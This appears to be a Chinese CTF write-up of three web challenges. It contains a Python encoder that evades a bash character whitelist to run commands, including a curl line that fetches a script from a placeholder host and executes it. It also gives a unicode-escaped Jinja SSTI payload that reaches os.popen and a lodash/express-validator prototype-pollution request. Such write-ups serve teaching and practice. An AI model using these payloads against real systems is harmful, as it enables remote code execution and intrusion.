安洵杯webwp

前言

赛后总结并写个wp,平台到后面卡到爆炸,想抢救也没了。

wp web

bash

一道改编题,参考了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
if (isset($_POST["cmd"])) {
$test = $_POST['cmd'];
$white_list = str_split('${#}\\(<)\'0');
var_dump($white_list);
$char_list = str_split($test);
foreach ($char_list as $c) {
if (!in_array($c, $white_list)) {
exit(1);//这里自己改了下
}
}
exec($test);
}
?>

只能使用

1
${#}\\(<)\'0

这些字符,估计是和无字母webshell一个思路,

1
2
3
4
5
6
7
8
9
10
$# - 参数的个数,这里是0
${##} - 变量\#的长度
$((expr)) - 表达式
<<< - 内嵌字符串
$'\123' - 转换8进制到字符串
$0 - bash
'$(($#))' - 0
'${##}' - 1
'$((${##}<<${##}))' - 1<<1 2
108 -> 0b1101100 ->$(($((!$<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$((!$#))$(($#))$((!$#))$(($#))))

执行命令的策略是,将八进制字符串转成正常的字符串,然后再发送到bash中执行命令:

image-20201126130309449

image-20201125223301127

最后写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
bash = '$0'
herestring = "<<<"
zero = '$(($#))'
one = '${##}'
two = '$((${##}<<${##}))'

BUFFER_SIZE=2048

def binary(number):
return "$(({:s}#{:b}))".format(two,number).replace('1',one).replace('0',zero)

def encode_char(char):
return '\\$\\\'\\\\' + binary(int(oct(ord(char))[2:])) + "\\\'"

def encode_string(s):
return "".join([encode_char(c) for c in s])

def encode_command(cmd):
return (bash + herestring + "\\$\\("
+ encode_string("cat") + "\\<\\<\\<"
+ encode_string(cmd) + "\\)")

print(encode_command('curl http://yourip/1.txt -o /tmp/1.sh'))
print(encode_command('chmod +x /tmp/1.sh'))
print(encode_command('bash -c /tmp/1.sh'))

flag: D0g3{602c50f79a27407f9ffaaa0cb11a37db}

normal-ssti

一道过滤了巨多东西的ssti,

1
2
3
%1d,%1e,%1e,%20,%1f,',*,+, , ,.,<,=,>,_,g,[,]
""连续会被过滤
request,session,set,for,config,if,slice,会被过滤

发现可以用\uxxx来替代关键词。

最终payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET /test?url={%print(((((((((("a"|attr("\u005f\u005fclass\u005f\u005f"))|attr("\u005f\u005fbase\u005f\u005f"))|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")())|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(290))|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f"))|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074"))("\u0065\u0076\u0061\u006c"))("\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0027\u006f\u0073\u0027\u0029\u002e\u0070\u006f\u0070\u0065\u006e\u0028\u0027\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u0027\u0029\u002e\u0072\u0065\u0061\u0064\u0028\u0029"))%} HTTP/1.1
Host: 47.108.162.43:30068
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,ja;q=0.7
Cookie: connect.sid=s%3AyUNi980UKKsXpcfVqeHjW4qU66RpniZY.LqfpHl7ASMKs9jM%2FC9XxPE7tWe3c9awpfAfQ0uNZm2I
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close

flag: D0g3{40258eafb9694a4089a021b6ca52bbc3}

Validator

直接访问app.js,发现源码泄露,一次down源码和package.json。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"name": "validator",
"version": "1.0.0",
"main": "app.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"keywords": [],
"author": "",
"license": "ISC",
"description": "",
"dependencies": {
"express": "^4.17.1",
"express-static": "^1.2.6",
"express-validator": "^6.6.0",
"fs": "0.0.1-security",
"lodash": "^4.17.16"
}
}

这个express-validator和lodash,让人想起了自闭xnuca的oldjs

思路明确:

  1. 污染system_open为yes直接拿flag。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
const express = require('express')
const express_static = require('express-static')
const fs = require('fs')
const path = require('path')

const app = express()
const port = 9000

app.use(express.json())
app.use(express.urlencoded({
extended: true
}))

let info = []

const {
body,
validationResult
} = require('express-validator')

middlewares = [
body('*').trim(),
body('password').isLength({ min: 6 }),
]

app.use(middlewares)

readFile = function (filename) {
var data = fs.readFileSync(filename)
return data.toString()
}

app.post("/login", (req, res) => {
console.log(req.body)
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}

if (req.body.password == "D0g3_Yes!!!"){
console.log(info.system_open)
if (info.system_open == "yes"){
const flag = readFile("/etc/passwd")
return res.status(200).send(flag)
}else{
return res.status(400).send("The login is successful, but the system is under test and not open...")
}
}else{
return res.status(400).send("Login Fail, Password Wrong!")
}
})

app.get("/", (req, res) => {
const login_html = readFile(path.join(__dirname, "login.html"))
return res.status(200).send(login_html)
})

app.use(express_static("./"))

app.listen(port, () => {
console.log(`server listening on ${port}`)
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /login HTTP/1.1
Host: 47.108.162.43:30068
Content-Length: 116
Cache-Control: max-age=0
Origin: http://47.108.162.43:30068
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://47.108.162.43:30068/
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,ja;q=0.7
Cookie: connect.sid=s%3AKQxwOe1nw-BpJdPzINzP0tV891r2VYzh.cgtwpVAahUGPjs52WSp5%2B1OpLHGR3QQ4374uQ0Zz5z0
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close

{"password":"D0g3_Yes!!!","block": {"__proto__": {"system_open": "yes"}}, "block\"].__proto__[\"system_open": "yes"}

[参考][https://github.com/NeSE-Team/XNUCA2020Qualifier/blob/main/Web/oooooooldjs/writeup.md]

0oops战队的非预期,打了就是。

这里挑几个关键的地方讲下。

  1. 首先是污染的点,是在node_modules/express-validator/src/chain/context-runner-impl.js,具体细节直接看xnu的分析

    1
    2
    3
    4
    const reqValue = path !== '' ? _.get(req[location], path) : req[location];
    if (!options.dryRun && reqValue !== instance.value) {
    path !== '' ? _.set(req[location], path, newValue) : _.set(req, location, newValue);
    }
  2. 导致污染任意值的原因

    在context-runner-impl.js中有个。

    1
    const instances = this.selectFields(req, context.fields, context.locations);

    看下调用堆栈。

    image-20201130112134547

    直接看到select-field.js的expandPath。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    function expandPath(object, path, accumulator) {
    const segments = _.toPath(path);
    const wildcardPos = segments.indexOf('*');
    if (wildcardPos > -1) {
    const subObject = wildcardPos === 0 ? object : _.get(object, segments.slice(0, wildcardPos));
    if (!subObject || !_.isObjectLike(subObject)) {
    return;
    }
    Object.keys(subObject)
    .map(key => segments
    // Before the *
    .slice(0, wildcardPos)
    // The part that the * matched
    .concat(key)
    // After the *
    .concat(segments.slice(wildcardPos + 1)))
    .forEach(subPath => {
    expandPath(object, subPath, accumulator);
    });
    }
    else {
    const reconstructedPath = segments.reduce((prev, segment) => {
    let part = '';
    // TODO: Handle brackets?
    if (segment.includes('.')) {
    // Special char key access
    part = `["${segment}"]`;
    }
    else if (/^\d+$/.test(segment)) {
    // Index access
    part = `[${segment}]`;
    }
    else if (prev) {
    // Object key access
    part = `.${segment}`;
    }
    else {
    // Top level key
    part = segment;
    }
    return prev + part;
    }, '');
    accumulator.push(reconstructedPath);
    }
    }

    "block\"].__proto__[\"system_open" 变成[\"block\"].__proto__[\"system_open\"]最后得到

    image-20201130112633471

    这个三个path将被逐个带入set方法。然而我们一开始就传入了block对象刚好会被path=[\"block\"].__proto__[\"system_open\"]的时候访问到

    image-20201130110358931

    然后就很明显了将原型链中的system_open赋值为yes。

wp 逆向

这里@ [古浪月子]https://blog.csdn.net/tqydyqt/